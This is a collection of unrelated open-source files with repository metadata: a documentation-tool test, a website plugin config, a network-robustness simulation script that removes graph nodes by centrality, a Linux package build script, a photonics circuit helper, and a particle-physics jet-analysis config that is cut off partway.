refs/heads/master
2020-12-25T11:52:35.144908
2011-06-05T20:52:52
2011-06-05T20:52:52
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,699
py
from dexy.controller import Controller from dexy.document import Document from dexy.artifacts.file_system_json_artifact import FileSystemJsonArtifact import os def setup_controller(): controller = Controller() controller.artifacts_dir = 'artifacts' if not os.path.isdir(controller.artifacts_dir): os.mkdir(controller.artifacts_dir) controller.artifact_class = FileSystemJsonArtifact controller.allow_remote = True controller.config = { 'tests/data' : { "@simple.py|pyg" : { "contents" : "x = 5\nx^2" } } } controller.setup_and_run() return controller def setup_doc(): controller = setup_controller() doc = controller.members['tests/data/simple.py|pyg'] assert isinstance(doc, Document) return doc def setup_artifact(): doc = setup_doc() return doc.final_artifact() def test_artifact_hash_dict(): artifact = setup_artifact() hash_dict = artifact.hash_dict() for k in hash_dict.keys(): assert k in artifact.HASH_WHITELIST # hashstring shouldn't change hashstring = artifact.hashstring artifact.set_hashstring assert artifact.hashstring == hashstring def test_init(): """document: filters should be processed correctly""" doc = Document(FileSystemJsonArtifact, "data/test.py|abc") assert doc.name == "data/test.py" assert doc.filters == ['abc'] doc.filters += ['def', 'xyz'] assert doc.filters == ['abc', 'def', 'xyz'] assert doc.key() == "data/test.py|abc|def|xyz" def test_complete(): """document: after controller has run""" doc = setup_doc() assert doc.key() == "tests/data/simple.py|pyg"
0d87632a4b2c03e675bb8726a5f7622be7f35e49
06e897ed3b6effc280eca3409907acc174cce0f5
/plugins/pelican_unity_webgl/config.py
d7250678123196715136c46cfa982901234d38d6
[ "LicenseRef-scancode-other-permissive", "MIT", "AGPL-3.0-only" ]
permissive
JackMcKew/jackmckew.dev
ae5a32da4f1b818333ae15c6380bca1329d38f1e
b5d68070b6f15677a183424c84e30440e128e1ea
refs/heads/main
2023-09-02T14:42:19.010294
2023-08-15T22:08:19
2023-08-15T22:08:19
213,264,451
15
8
MIT
2023-02-14T21:50:28
2019-10-07T00:18:15
JavaScript
UTF-8
Python
false
false
201
py
# unity webgl options DEFAULT_WIDTH = 960 DEFAULT_HEIGHT = 600 DEFAULT_ALIGN = "center" # paths GAMES_ROOT_DIR = "/games" # directory with games TEMPLATE_PATH = "/games/utemplate" # template path
07051b2b2d87f429737993fa6057c7d0ccc452f6
ef914133e0ade675ae201f7895c50d819180951b
/attacks_SF.py
42181fb80340a753a0c25e769c15a8c2ee56057c
[]
no_license
vpahari/biconn
b094d6e7e6270f7601fde7de2f4d4528cd80aa20
fd2259dfeb73a39bbdd4e616700f912cec8f17cf
refs/heads/master
2021-06-01T18:54:09.477458
2020-09-22T14:49:48
2020-09-22T14:49:48
136,077,333
0
0
null
null
null
null
UTF-8
Python
false
false
20,686
py
import networkx as nx import networkit as nk import random import sys import math from functools import reduce import csv from operator import itemgetter import matplotlib.pyplot as plt plt.switch_backend('agg') import pickle import igraph as ig import numpy as np import os import itertools def get_name_WS(initial_name, dim, size, nei, p, SEED,radius): return initial_name + "_dim_" + str(dim) + "_size_" + str(size) + "_nei_" + str(nei) + "_p_" + str(p) + "_SEED_" + str(SEED) + "_radius_" + str(radius) + "_" + ".pickle" def get_name_ER(initial_name, N, k, SEED,radius): return initial_name + "_N_" + str(N) + "_k_" + str(k) + "_SEED_" + str(SEED) + "_radius_" + str(radius) + "_" + ".pickle" def get_name_SF(initial_name,N,k,exp_out,SEED,radius): return initial_name + "_N_" + str(N) + "_k_" + str(k) + "_expout_" + str(exp_out) + "_SEED_" + str(SEED) + "_radius_" + str(radius) + "_" + ".pickle" def make_WS_graph(dim,size,nei,p,SEED): N = size ** dim random.seed(SEED) igG = ig.Graph.Watts_Strogatz(dim,size,nei,p) allEdges = igG.get_edgelist() fixed_G = nx.Graph() listOfNodes = [i for i in range(N)] fixed_G.add_nodes_from(listOfNodes) fixed_G.add_edges_from(allEdges) G_nk = nk.nxadapter.nx2nk(fixed_G) return G_nk def make_SF_Graph(N,k,exp_out,SEED): random.seed(SEED) num_edges = int((N * k) / 2) igG = ig.Graph.Static_Power_Law(N,num_edges,exp_out) allEdges = igG.get_edgelist() fixed_G = nx.Graph() listOfNodes = [i for i in range(N)] fixed_G.add_nodes_from(listOfNodes) fixed_G.add_edges_from(allEdges) G_nk = nk.nxadapter.nx2nk(fixed_G) return G_nk def make_ER_Graph(N,k,SEED): G_nx = nx.erdos_renyi_graph(N, k/(N-1), seed = SEED) G_nk = nk.nxadapter.nx2nk(G_nx) return G_nk def DA_attack(G_copy,num_nodes_to_remove): G = copy_graph(G_copy) GC_List = [] GC_List.append(get_GC(G)) degree = nk.centrality.DegreeCentrality(G) degree.run() degree_sequence = degree.ranking() random.shuffle(degree_sequence) degree_sequence.sort(key = itemgetter(1), reverse = True) for i in range(num_nodes_to_remove): node_to_remove = degree_sequence[i][0] G.removeNode(node_to_remove) GC_List.append(get_GC(G)) return GC_List def ADA_attack(G_copy,num_nodes_to_remove): G = copy_graph(G_copy) GC_List = [] GC_List.append(get_GC(G)) for i in range(num_nodes_to_remove): print(i) degree = nk.centrality.DegreeCentrality(G) degree.run() degree_sequence = degree.ranking() random.shuffle(degree_sequence) degree_sequence.sort(key = itemgetter(1), reverse = True) node_to_remove = degree_sequence[0][0] G.removeNode(node_to_remove) GC_List.append(get_GC(G)) return GC_List def BA_attack(G_copy,num_nodes_to_remove): G = copy_graph(G_copy) GC_List = [] GC_List.append(get_GC(G)) between = nk.centrality.DynBetweenness(G) between.run() between_sequence = between.ranking() random.shuffle(between_sequence) between_sequence.sort(key = itemgetter(1), reverse = True) for i in range(num_nodes_to_remove): node_to_remove = between_sequence[i][0] G.removeNode(node_to_remove) GC_List.append(get_GC(G)) return GC_List def ABA_attack(G_copy,num_nodes_to_remove): G = copy_graph(G_copy) GC_List = [] GC_List.append(get_GC(G)) for i in range(num_nodes_to_remove): print(i) between = nk.centrality.DynBetweenness(G) between.run() between_sequence = between.ranking() between_sequence.sort(key = itemgetter(1), reverse = True) node_to_remove = between_sequence[0][0] G.removeNode(node_to_remove) GC_List.append(get_GC(G)) return GC_List def RA_attack(G_copy,num_nodes_to_remove): G = copy_graph(G_copy) GC_List = [] GC_List.append(get_GC(G)) all_nodes = random.sample(list(G.nodes()),num_nodes_to_remove) for i in all_nodes: G.removeNode(i) GC_List.append(get_GC(G)) return GC_List def big_RA_attack(G_copy,num_nodes_to_remove,num_sims): big_GC_List = [] for i in range(num_sims): GC_list = RA_attack(G_copy,num_nodes_to_remove) big_GC_List.append(GC_list) avg_list = get_avg_list(big_GC_List) return avg_list def get_betweenness_score(G, node): between = nk.centrality.DynBetweenness(G) between.run() return between.score(node) def get_degree_score(G,node): return G.degree(node) def get_coreness_score(G,node): coreness = nk.centrality.CoreDecomposition(G) coreness.run() partition = coreness.getPartition() core_number = partition.subsetOf(node) return core_number def get_betweenness_score_list(G, node_list): between = nk.centrality.DynBetweenness(G) between.run() final_list = [] for node in node_list: final_list.append(between.score(node)) return final_list def get_degree_score_list(G,node_list): final_list = [] for node in node_list: final_list.append(G.degree(node)) return final_list def get_coreness_score_list(G,node_list): coreness = nk.centrality.CoreDecomposition(G) coreness.run() final_list = [] partition = coreness.getPartition() for node in node_list: final_list.append(partition.subsetOf(node)) return final_list def add_into_set(s,new_s): for i in new_s: s.add(i) return s def take_out_list(dBall, ball): new_list = [] for i in dBall: if i in ball: continue new_list.append(i) return new_list #change this such that the neighbors are diff def get_dBN(G,node,radius): dBall = set([node]) ball = set([node]) for i in range(radius): neighbor = [] for j in dBall: for n in G.neighbors(j): if n in ball: continue neighbor.append(n) ball = add_into_set(ball,neighbor) dBall = set(neighbor.copy()) return (list(dBall),list(ball)) def get_all_dBN(G,radius): all_nodes = get_GC_nodes(G) dict_nodes_dBall = {} dict_nodes_ball = {} dict_nodes_x_i = {} for n in all_nodes: (dBall,ball) = get_dBN(G,n,radius) dict_nodes_dBall[n] = len(dBall) dict_nodes_ball[n] = len(ball) dict_nodes_x_i[n] = len(dBall) / len(ball) return (dict_nodes_dBall,dict_nodes_ball,dict_nodes_x_i) def make_partitions(dict_nodes_x_i, step_size): counter = 0 values_list = list(dict_nodes_x_i.values()) num_partitions = int(1 / step_size) all_values = [0 for i in range(num_partitions)] for i in values_list: box_to_put = int(i / step_size) if box_to_put == num_partitions: all_values[-1] = all_values[-1] + 1 continue all_values[box_to_put] = all_values[box_to_put] + 1 return all_values def get_all_same_x_i(sorted_list,x_i_value): node_list = [] for i in sorted_list: if i[1] == x_i_value: node_list.append(i[0]) return node_list def get_largest_dball(dball_dict,node_list): largest_dball = 0 largest_node = 0 for i in node_list: print(dball_dict[i]) if dball_dict[i] > largest_dball: largest_dball = dball_dict[i] largest_node = i return largest_node def get_random_dball(node_list): return random.choice(node_list) def dict_to_sorted_list(d): new_list = list(d.items()) final_list = sorted(new_list, key = itemgetter(1)) final_list_no_0 = list(filter(lambda x : x[1] != 0, final_list)) if len(final_list_no_0) != 0: x_i_value = final_list_no_0[0][1] nodes_list = get_all_same_x_i(final_list_no_0, x_i_value) return nodes_list else: return final_list_no_0 def get_GC_nodes(G): comp = nk.components.DynConnectedComponents(G) comp.run() all_comp = comp.getComponents() all_comp.sort(key = len) return all_comp[-1] def get_GC(G): comp = nk.components.DynConnectedComponents(G) comp.run() all_comp_sizes = comp.getComponentSizes() all_values = list(all_comp_sizes.values()) all_values.sort() return all_values[-1] def copy_graph(G): G_copy = G.copyNodes() edges = G.edges() for (i,j) in edges: G_copy.addEdge(i,j) return G_copy #dball, vball, degree, betweenness, coreness def dBalls_attack(G_copy,radius): G = copy_graph(G_copy) GC_List = [] size_dball = [] size_ball = [] degree_list_mainNode = [] betweenness_list_mainNode = [] coreness_list_mainNode = [] degree_list_removedNode = [] betweenness_list_removedNode = [] coreness_list_removedNode = [] counter = 0 counter_list = [] GC_List.append(get_GC(G)) counter_list.append(counter) num_nodes_to_remove = G.numberOfNodes() while counter < num_nodes_to_remove: print(counter) (dict_nodes_dBall,dict_nodes_ball,dict_nodes_x_i) = get_all_dBN(G,radius) list_to_remove = dict_to_sorted_list(dict_nodes_x_i) if len(list_to_remove) == 0: break node = get_random_dball(list_to_remove) (dBall,ball) = get_dBN(G,node,radius) combined_list = [node] + dBall between_list = get_betweenness_score_list(G,combined_list) degree_list = get_degree_score_list(G,combined_list) coreness_list = get_coreness_score_list(G,combined_list) degree_list_mainNode.append(degree_list[0]) betweenness_list_mainNode.append(between_list[0]) coreness_list_mainNode.append(coreness_list[0]) degree_list_removedNode += degree_list[1:] betweenness_list_removedNode += between_list[1:] coreness_list_removedNode += coreness_list[1:] size_dball.append(len(dBall)) size_ball.append(len(ball)) #print(dBall) #print(ball) for i in dBall: G.removeNode(i) counter += 1 GC_List.append(get_GC(G)) counter_list.append(counter) return (GC_List,counter_list,size_dball,size_ball,degree_list_mainNode,betweenness_list_mainNode,coreness_list_mainNode,degree_list_removedNode,betweenness_list_removedNode,coreness_list_removedNode) def dBalls_attack_NA(G_copy,radius): G = copy_graph(G_copy) GC_List = [] size_dball = [] size_ball = [] degree_list_mainNode = [] betweenness_list_mainNode = [] coreness_list_mainNode = [] degree_list_removedNode = [] betweenness_list_removedNode = [] coreness_list_removedNode = [] counter = 0 counter_list = [] GC_List.append(get_GC(G)) counter_list.append(counter) num_nodes_to_remove = G.numberOfNodes() (dict_nodes_dBall,dict_nodes_ball,dict_nodes_x_i) = get_all_dBN(G,radius) list_to_remove = dict_to_sorted_list_NA(dict_nodes_x_i) counter_for_nodes = 0 print(dict_nodes_x_i) print(list_to_remove) while counter_for_nodes < len(list_to_remove): curr_nodes_set = set(list(G.nodes())) node = list_to_remove[counter_for_nodes][0] print(node,dict_nodes_dBall[node]) if node not in curr_nodes_set: counter_for_nodes += 1 continue (dBall,ball) = get_dBN(G,node,radius) if len(dBall) == 0: counter_for_nodes += 1 continue size_dball.append(len(dBall)) size_ball.append(len(ball)) combined_list = [node] + dBall between_list = get_betweenness_score_list(G,combined_list) degree_list = get_degree_score_list(G,combined_list) coreness_list = get_coreness_score_list(G,combined_list) degree_list_mainNode.append(degree_list[0]) betweenness_list_mainNode.append(between_list[0]) coreness_list_mainNode.append(coreness_list[0]) degree_list_removedNode += degree_list[1:] betweenness_list_removedNode += between_list[1:] coreness_list_removedNode += coreness_list[1:] for i in dBall: G.removeNode(i) counter += 1 GC_List.append(get_GC(G)) counter_list.append(counter) counter_for_nodes += 1 return (GC_List,counter_list,size_dball,size_ball,degree_list_mainNode,betweenness_list_mainNode,coreness_list_mainNode,degree_list_removedNode,betweenness_list_removedNode,coreness_list_removedNode) def dict_to_sorted_list_NA(d): new_list = list(d.items()) random.shuffle(new_list) final_list = sorted(new_list, key = itemgetter(1)) return final_list def get_avg_list(big_list): counter = 0 size_of_list = len(big_list[0]) avg_list = [] while counter < size_of_list: index_list = list(map(lambda x : x[counter], big_list)) avg = sum(index_list) / len(index_list) avg_list.append(avg) counter += 1 return avg_list def turn_lists_together(GC_List,num_nodes_removed): final_list = [] pointer = 0 counter = 0 for i in num_nodes_removed: diff = i - counter for j in range(diff): final_list.append(GC_List[pointer]) counter += 1 pointer += 1 return final_list def random_ball_removal(G_copy,radius,num_nodes_to_remove): G = copy_graph(G_copy) counter = 0 GC_list = [] size_dball = [] size_ball = [] continue_counter = 0 N = G.numberOfNodes() while counter < num_nodes_to_remove: if continue_counter > (0.1 * N): all_nodes = list(G.nodes()) node_sample = random.sample(all_nodes,(num_nodes_to_remove - counter)) for i in node_sample: G.removeNode(i) counter += 1 GC_list.append(get_GC(G)) break print(counter) all_nodes = get_GC_nodes(G) node = random.choice(all_nodes) (dBall,ball) = get_dBN(G,node,radius) if len(dBall) == 0: continue_counter += 1 continue size_dball.append(len(dBall)) size_ball.append(len(ball)) for i in dBall: G.removeNode(i) counter += 1 GC_list.append(get_GC(G)) continue_counter = 0 return (GC_list,size_dball,size_ball) def big_sim(N,k,SEED,radius,perc_to_remove,num_sims): big_GC_List = [] big_size_dball = [] big_size_ball = [] big_dg_list = [] for i in range(num_sims): G_nx = nx.erdos_renyi_graph(N, k/(N-1), seed = SEED * (i+1)) G_nk = nk.nxadapter.nx2nk(G_nx) num_nodes_to_remove = int(perc_to_remove * N) (GC_List,size_dball,size_ball,dg_list) = perc_process_dBalls(G_nk,radius,num_nodes_to_remove) GC_List_to_append = GC_List[:num_nodes_to_remove] big_GC_List.append(GC_List_to_append) big_size_dball.append(size_dball) big_size_ball.append(size_ball) big_dg_list.append(dg_list) return (big_GC_List,big_size_dball,big_size_ball,big_dg_list) def big_sim_dball(N,k,SEED,radius,perc_to_remove,num_sims): big_GC_List = [] big_size_dball = [] big_size_ball = [] big_dg_list = [] for i in range(num_sims): G_nx = nx.erdos_renyi_graph(N, k/(N-1), seed = SEED * (i+1)) G_nk = nk.nxadapter.nx2nk(G_nx) num_nodes_to_remove = int(perc_to_remove * N) (GC_List,size_dball,size_ball,dg_list) = perc_process_dBalls_bigDBalls(G_nk,radius,num_nodes_to_remove) GC_List_to_append = GC_List[:num_nodes_to_remove] big_GC_List.append(GC_List_to_append) big_size_dball.append(size_dball) big_size_ball.append(size_ball) big_dg_list.append(dg_list) return (big_GC_List,big_size_dball,big_size_ball,big_dg_list) def big_sim_SF(N,k,exp_out,radius,perc_to_remove,num_sims): big_GC_List = [] big_size_ball = [] big_size_dball = [] big_dg_list = [] for i in range(num_sims): G_nk = make_SF_Graph(N,k,exp_out) num_nodes_to_remove = int(perc_to_remove * N) (GC_List,size_dball,size_ball,degree_list) = perc_process_dBalls(G_nk,radius,num_nodes_to_remove) GC_List_to_append = GC_List[:num_nodes_to_remove] big_GC_List.append(GC_List_to_append) big_size_ball.append(size_ball) big_size_dball.append(size_dball) big_dg_list.append(degree_list) return (big_GC_List,big_size_dball,big_size_ball,big_dg_list) def big_sim_changing_radius(G,start_radius,end_radius): big_GC_List = [] big_counter_list = [] curr_radius = start_radius while curr_radius <= end_radius: (GC_List,size_dball,size_ball,degree_list,counter_list) = perc_process_dBalls_track_balls(G,curr_radius) big_GC_List.append(GC_List) big_counter_list.append(counter_list) curr_radius += 1 return (big_GC_List,big_counter_list) def get_results_NA(G, radius): N = G.numberOfNodes() GC_list_DA = DA_attack(G, int(N * 0.99)) GC_list_BA = BA_attack(G, int(N * 0.99)) GC_list_RAN = big_RA_attack(G,int(N * 0.99),20) (GC_List_DB,counter_list,size_dball,size_ball,degree_list_mainNode,betweenness_list_mainNode,coreness_list_mainNode,degree_list_removedNode,betweenness_list_removedNode,coreness_list_removedNode) = dBalls_attack_NA(G_copy,radius) return (GC_list_DA, GC_list_BA, GC_list_RAN, GC_List_DB, counter_list, size_dball, size_ball, degree_list_mainNode, betweenness_list_mainNode, coreness_list_mainNode, degree_list_removedNode, betweenness_list_removedNode, coreness_list_removedNode) def get_result(G, radius): N = G.numberOfNodes() GC_list_ADA = ADA_attack(G, int(N * 0.99)) GC_list_ABA = ABA_attack(G, int(N * 0.99)) GC_list_RAN = big_RA_attack(G,int(N * 0.99),20) (GC_List_DB,counter_list,size_dball,size_ball,degree_list_mainNode,betweenness_list_mainNode,coreness_list_mainNode,degree_list_removedNode,betweenness_list_removedNode,coreness_list_removedNode) = dBalls_attack(G,radius) return (GC_list_ADA, GC_list_ABA, GC_list_RAN, GC_List_DB, counter_list, size_dball, size_ball, degree_list_mainNode, betweenness_list_mainNode, coreness_list_mainNode, degree_list_removedNode, betweenness_list_removedNode, coreness_list_removedNode) N=int(sys.argv[1]) k=float(sys.argv[2]) exp_out = float(sys.argv[3]) SEED=int(sys.argv[4]) radius = int(sys.argv[5]) G = make_SF_Graph(N,k,exp_out,SEED) (GC_list_ADA, GC_list_ABA, GC_list_RAN, GC_List_DB, counter_list, size_dball, size_ball, degree_list_mainNode, betweenness_list_mainNode, coreness_list_mainNode, degree_list_removedNode, betweenness_list_removedNode, coreness_list_removedNode) = get_result(G, radius) """ GC_list_DA = DA_attack(G,int(N * 0.99)) GC_list_BA = BA_attack(G,int(N * 0.99)) print(GC_list_DA) print(GC_list_BA) """ init_name_GC_Deg = "attackDEG_SF_GC" init_name_GC_Bet = "attackBET_SF_GC" init_name_GC_Ran = "attackRAN_SF_GC" init_name_GC_DB = "attackDB_SF_GC" init_name_dball = "attackDB_SF_DBALL" init_name_ball = "attackDB_SF_BALL" init_name_CL = "attackDB_SF_CL" init_name_deg_mainNode = "attackDB_SF_degMainNode" init_name_deg_removedNode = "attackDB_SF_degRemovedNode" init_name_bet_mainNode = "attackDB_SF_betMainNode" init_name_bet_removedNode = "attackDB_SF_betRemovedNode" init_name_core_mainNode = "attackDB_SF_coreMainNode" init_name_core_removedNode = "attackDB_SF_coreRemovedNode" GC_List_Deg_name = get_name_SF(init_name_GC_Deg, N,k,exp_out,SEED,radius) GC_List_Bet_name = get_name_SF(init_name_GC_Bet, N,k,exp_out,SEED,radius) GC_List_Ran_name = get_name_SF(init_name_GC_Ran, N,k,exp_out,SEED,radius) GC_List_DB_name = get_name_SF(init_name_GC_DB, N,k,exp_out,SEED,radius) CL_name = get_name_SF(init_name_CL, N,k,exp_out,SEED,radius) dBall_name = get_name_SF(init_name_dball, N,k,exp_out,SEED,radius) ball_name = get_name_SF(init_name_ball, N,k,exp_out,SEED,radius) deg_mainNode_name = get_name_SF(init_name_deg_mainNode, N,k,exp_out,SEED,radius) deg_removedNode_name = get_name_SF(init_name_deg_removedNode, N,k,exp_out,SEED,radius) bet_mainNode_name = get_name_SF(init_name_bet_mainNode, N,k,exp_out,SEED,radius) bet_removedNode_name = get_name_SF(init_name_bet_removedNode, N,k,exp_out,SEED,radius) core_mainNode_name = get_name_SF(init_name_core_mainNode, N,k,exp_out,SEED,radius) core_removedNode_name = get_name_SF(init_name_core_removedNode, N,k,exp_out,SEED,radius) with open(GC_List_Deg_name,'wb') as handle: pickle.dump(GC_list_ADA, handle, protocol=pickle.HIGHEST_PROTOCOL) with open(GC_List_Bet_name,'wb') as handle: pickle.dump(GC_list_ABA, handle, protocol=pickle.HIGHEST_PROTOCOL) with open(GC_List_Ran_name,'wb') as handle: pickle.dump(GC_list_RAN, handle, protocol=pickle.HIGHEST_PROTOCOL) with open(GC_List_DB_name,'wb') as handle: pickle.dump(GC_List_DB, handle, protocol=pickle.HIGHEST_PROTOCOL) with open(CL_name,'wb') as handle: pickle.dump(counter_list, handle, protocol=pickle.HIGHEST_PROTOCOL) with open(dBall_name,'wb') as handle: pickle.dump(size_dball, handle, protocol=pickle.HIGHEST_PROTOCOL) with open(ball_name,'wb') as handle: pickle.dump(size_ball, handle, protocol=pickle.HIGHEST_PROTOCOL) with open(deg_mainNode_name,'wb') as handle: pickle.dump(degree_list_mainNode, handle, protocol=pickle.HIGHEST_PROTOCOL) with open(bet_mainNode_name,'wb') as handle: pickle.dump(betweenness_list_mainNode, handle, protocol=pickle.HIGHEST_PROTOCOL) with open(core_mainNode_name,'wb') as handle: pickle.dump(coreness_list_mainNode, handle, protocol=pickle.HIGHEST_PROTOCOL) with open(deg_removedNode_name,'wb') as handle: pickle.dump(degree_list_removedNode, handle, protocol=pickle.HIGHEST_PROTOCOL) with open(bet_removedNode_name,'wb') as handle: pickle.dump(betweenness_list_removedNode, handle, protocol=pickle.HIGHEST_PROTOCOL) with open(core_removedNode_name,'wb') as handle: pickle.dump(coreness_list_removedNode, handle, protocol=pickle.HIGHEST_PROTOCOL) print(degree_list_mainNode) print(degree_list_removedNode) print(betweenness_list_mainNode) print(betweenness_list_removedNode) print(coreness_list_mainNode) print(coreness_list_removedNode)
8418693b0b7f600bc206c9513a976a8685d46f52
7a7ed5656b3a162523ba0fd351dd551db99d5da8
/x11/library/wayland/actions.py
73d6d6bb7fcd4510e4e0b35f12090d0231dd9fe0
[]
no_license
klaipedetis/PisiLinux
acd4953340ebf14533ea6798275b8780ad96303b
3384e5dfa1acd68fa19a26a6fa1cf717136bc878
refs/heads/master
2021-01-24T22:59:30.055059
2013-11-08T21:43:39
2013-11-08T21:43:39
null
0
0
null
null
null
null
UTF-8
Python
false
false
755
py
#!/usr/bin/python # -*- coding: utf-8 -*- # # Copyright 2010 TUBITAK/BILGEM # Licensed under the GNU General Public License, version 2. # See the file http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt from pisi.actionsapi import shelltools from pisi.actionsapi import autotools from pisi.actionsapi import pisitools from pisi.actionsapi import get Libdir = "/usr/lib32" if get.buildTYPE() == "emul32" else "/usr/lib" def setup(): autotools.autoreconf("-vif") autotools.configure("--disable-documentation --disable-static") def build(): autotools.make() def install(): autotools.rawInstall("DESTDIR=%s" % get.installDIR()) if get.buildTYPE() == "emul32": return pisitools.dodoc("COPYING", "TODO", "README")
85d65df06168b2114299f77d388cbe712b4b7085
458c487a30df1678e6d22ffdb2ea426238197c88
/ubcsp/add_gc.py
e6be0db995f628f5c02f95391bfd50d28fde12ec
[ "MIT" ]
permissive
pluck992/ubc
04062d2cdeef8d983da1bfaa0ff640a3b25c72c2
54fc89ae6141775321d5ea770e973ff09be51c0c
refs/heads/master
2023-02-19T05:01:42.401329
2021-01-21T06:32:15
2021-01-21T06:32:15
null
0
0
null
null
null
null
UTF-8
Python
false
false
939
py
import pp from gdslib import plot_circuit from simphony.library import siepic from simphony.netlist import Subcircuit def add_gc_te(circuit, gc=siepic.ebeam_gc_te1550): """ add input and output gratings Args: circuit: needs to have `input` and `output` pins gc: grating coupler """ c = Subcircuit(f"{circuit}_gc") gc = pp.call_if_func(gc) c.add([(gc, "gci"), (gc, "gco"), (circuit, "circuit")]) c.connect_many( [("gci", "n1", "circuit", "input"), ("gco", "n1", "circuit", "output")] ) # c.elements["circuit"].pins["input"] = "input_circuit" # c.elements["circuit"].pins["output"] = "output_circuit" c.elements["gci"].pins["n2"] = "input" c.elements["gco"].pins["n2"] = "output" return c if __name__ == "__main__": import matplotlib.pyplot as plt from ubc.cm.mzi import mzi c1 = mzi() c2 = add_gc_te(c1) plot_circuit(c2) plt.show()
[ "j" ]
j
1292e503e8b05cd9f288de556289ca29880a41cc
f31fda8014ecadf6af7d4e3392fb917c49e0352a
/HeavyIonsAnalysis/JetAnalysis/python/jets/akVs4CaloJetSequence_PbPb_jec_cff.py
1138081e341c23d6cf41f8774dfe47930fc4f528
[]
no_license
jniedzie/lightbylight
acea5051f053c49824a49a0b78bac3a2247ee75f
f5a4661fcf3fd3c0e9ccd8893a46a238e30c2aa8
refs/heads/master
2020-03-18T12:24:31.970468
2018-02-09T15:50:00
2018-02-09T15:50:00
134,724,759
0
1
null
2018-05-24T14:11:12
2018-05-24T14:11:12
null
UTF-8
Python
false
false
14,330
py
import FWCore.ParameterSet.Config as cms from HeavyIonsAnalysis.JetAnalysis.patHeavyIonSequences_cff import patJetGenJetMatch, patJetPartonMatch, patJetCorrFactors, patJets from HeavyIonsAnalysis.JetAnalysis.inclusiveJetAnalyzer_cff import * from HeavyIonsAnalysis.JetAnalysis.bTaggers_cff import * from RecoJets.JetProducers.JetIDParams_cfi import * from RecoJets.JetProducers.nJettinessAdder_cfi import Njettiness akVs4Calomatch = patJetGenJetMatch.clone( src = cms.InputTag("akVs4CaloJets"), matched = cms.InputTag("ak4HiSignalGenJets"), resolveByMatchQuality = cms.bool(True), maxDeltaR = 0.4 ) akVs4CalomatchGroomed = patJetGenJetMatch.clone( src = cms.InputTag("ak4HiGenJets"), matched = cms.InputTag("ak4HiSignalGenJets"), resolveByMatchQuality = cms.bool(True), maxDeltaR = 0.4 ) akVs4Caloparton = patJetPartonMatch.clone(src = cms.InputTag("akVs4CaloJets") ) akVs4Calocorr = patJetCorrFactors.clone( useNPV = cms.bool(False), useRho = cms.bool(False), # primaryVertices = cms.InputTag("hiSelectedVertex"), levels = cms.vstring('L2Relative','L3Absolute'), src = cms.InputTag("akVs4CaloJets"), payload = "AK4Calo_offline" ) akVs4CaloJetID= cms.EDProducer('JetIDProducer', JetIDParams, src = cms.InputTag('akVs4CaloJets')) #akVs4Caloclean = heavyIonCleanedGenJets.clone(src = cms.InputTag('ak4HiSignalGenJets')) akVs4CalobTagger = bTaggers("akVs4Calo",0.4) #create objects locally since they dont load properly otherwise #akVs4Calomatch = akVs4CalobTagger.match akVs4Caloparton = patJetPartonMatch.clone(src = cms.InputTag("akVs4CaloJets"), matched = cms.InputTag("hiSignalGenParticles")) akVs4CaloPatJetFlavourAssociationLegacy = akVs4CalobTagger.PatJetFlavourAssociationLegacy akVs4CaloPatJetPartons = akVs4CalobTagger.PatJetPartons akVs4CaloJetTracksAssociatorAtVertex = akVs4CalobTagger.JetTracksAssociatorAtVertex akVs4CaloJetTracksAssociatorAtVertex.tracks = cms.InputTag("highPurityTracks") akVs4CaloSimpleSecondaryVertexHighEffBJetTags = akVs4CalobTagger.SimpleSecondaryVertexHighEffBJetTags akVs4CaloSimpleSecondaryVertexHighPurBJetTags = akVs4CalobTagger.SimpleSecondaryVertexHighPurBJetTags akVs4CaloCombinedSecondaryVertexBJetTags = akVs4CalobTagger.CombinedSecondaryVertexBJetTags akVs4CaloCombinedSecondaryVertexV2BJetTags = akVs4CalobTagger.CombinedSecondaryVertexV2BJetTags akVs4CaloJetBProbabilityBJetTags = akVs4CalobTagger.JetBProbabilityBJetTags akVs4CaloSoftPFMuonByPtBJetTags = akVs4CalobTagger.SoftPFMuonByPtBJetTags akVs4CaloSoftPFMuonByIP3dBJetTags = akVs4CalobTagger.SoftPFMuonByIP3dBJetTags akVs4CaloTrackCountingHighEffBJetTags = akVs4CalobTagger.TrackCountingHighEffBJetTags akVs4CaloTrackCountingHighPurBJetTags = akVs4CalobTagger.TrackCountingHighPurBJetTags akVs4CaloPatJetPartonAssociationLegacy = akVs4CalobTagger.PatJetPartonAssociationLegacy akVs4CaloImpactParameterTagInfos = akVs4CalobTagger.ImpactParameterTagInfos akVs4CaloImpactParameterTagInfos.primaryVertex = cms.InputTag("offlinePrimaryVertices") akVs4CaloJetProbabilityBJetTags = akVs4CalobTagger.JetProbabilityBJetTags akVs4CaloSecondaryVertexTagInfos = akVs4CalobTagger.SecondaryVertexTagInfos akVs4CaloSimpleSecondaryVertexHighEffBJetTags = akVs4CalobTagger.SimpleSecondaryVertexHighEffBJetTags akVs4CaloSimpleSecondaryVertexHighPurBJetTags = akVs4CalobTagger.SimpleSecondaryVertexHighPurBJetTags akVs4CaloCombinedSecondaryVertexBJetTags = akVs4CalobTagger.CombinedSecondaryVertexBJetTags akVs4CaloCombinedSecondaryVertexV2BJetTags = akVs4CalobTagger.CombinedSecondaryVertexV2BJetTags akVs4CaloSecondaryVertexNegativeTagInfos = akVs4CalobTagger.SecondaryVertexNegativeTagInfos akVs4CaloNegativeSimpleSecondaryVertexHighEffBJetTags = akVs4CalobTagger.NegativeSimpleSecondaryVertexHighEffBJetTags akVs4CaloNegativeSimpleSecondaryVertexHighPurBJetTags = akVs4CalobTagger.NegativeSimpleSecondaryVertexHighPurBJetTags akVs4CaloNegativeCombinedSecondaryVertexBJetTags = akVs4CalobTagger.NegativeCombinedSecondaryVertexBJetTags akVs4CaloPositiveCombinedSecondaryVertexBJetTags = akVs4CalobTagger.PositiveCombinedSecondaryVertexBJetTags akVs4CaloNegativeCombinedSecondaryVertexV2BJetTags = akVs4CalobTagger.NegativeCombinedSecondaryVertexV2BJetTags akVs4CaloPositiveCombinedSecondaryVertexV2BJetTags = akVs4CalobTagger.PositiveCombinedSecondaryVertexV2BJetTags akVs4CaloSoftPFMuonsTagInfos = akVs4CalobTagger.SoftPFMuonsTagInfos akVs4CaloSoftPFMuonsTagInfos.primaryVertex = cms.InputTag("offlinePrimaryVertices") akVs4CaloSoftPFMuonBJetTags = akVs4CalobTagger.SoftPFMuonBJetTags akVs4CaloSoftPFMuonByIP3dBJetTags = akVs4CalobTagger.SoftPFMuonByIP3dBJetTags 